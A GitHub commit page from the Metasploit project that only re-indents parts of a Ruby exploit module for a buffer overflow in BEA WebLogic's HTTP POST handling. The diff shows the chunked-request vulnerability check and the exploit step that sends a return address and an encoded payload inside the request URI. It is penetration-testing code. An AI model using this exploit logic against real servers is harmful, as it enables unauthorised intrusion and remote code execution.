Skip to content

Commit

Permalink
better tab indentation
Browse files Browse the repository at this point in the history
  • Loading branch information
jvazquez-r7 committed May 17, 2012
1 parent a21e832 commit c4ab521
Showing 1 changed file with 21 additions and 23 deletions.
44 changes: 21 additions & 23 deletions modules/exploits/windows/http/bea_weblogic_post_bof.rb
Original file line number Diff line number Diff line change
Expand Up @@ -89,16 +89,15 @@ def initialize(info = {})
def check

my_data = rand_text_alpha(rand(5) + 8)
res = send_request_cgi(
{
'method' => 'POST',
'uri' => target_uri.path,
'headers' =>
{
'Transfer-Encoding' => my_data
},
'data' => "#{my_data.length}\r\n#{my_data}\r\n0\r\n",
})
res = send_request_cgi({
'method' => 'POST',
'uri' => target_uri.path,
'headers' =>
{
'Transfer-Encoding' => my_data
},
'data' => "#{my_data.length}\r\n#{my_data}\r\n0\r\n",
})

if res and res.code == 200

Expand Down Expand Up @@ -149,11 +148,10 @@ def exploit
sploit << [my_target.ret].pack("V")
sploit << payload.encoded

send_request_cgi(
{
'method' => 'POST',
'uri' => "#{uri} #{sploit}",
})
send_request_cgi({
'method' => 'POST',
'uri' => "#{uri} #{sploit}",
})

handler

Expand All @@ -165,15 +163,15 @@ def get_target

my_data = rand_text_alpha(rand(5) + 8)
res = send_request_cgi(
{
'method' => 'POST',
'uri' => target_uri.path,
'headers' =>
{
'method' => 'POST',
'uri' => target_uri.path,
'headers' =>
{
'Transfer-Encoding' => my_data
},
'data' => "#{my_data.length}\r\n#{my_data}\r\n0\r\n",
})
'Transfer-Encoding' => my_data
},
'data' => "#{my_data.length}\r\n#{my_data}\r\n0\r\n",
})

if res and res.code == 200
# BEA WebLogic 8.1 SP6 - mod_wl_20.so
Expand Down

0 comments on commit c4ab521

Please sign in to comment.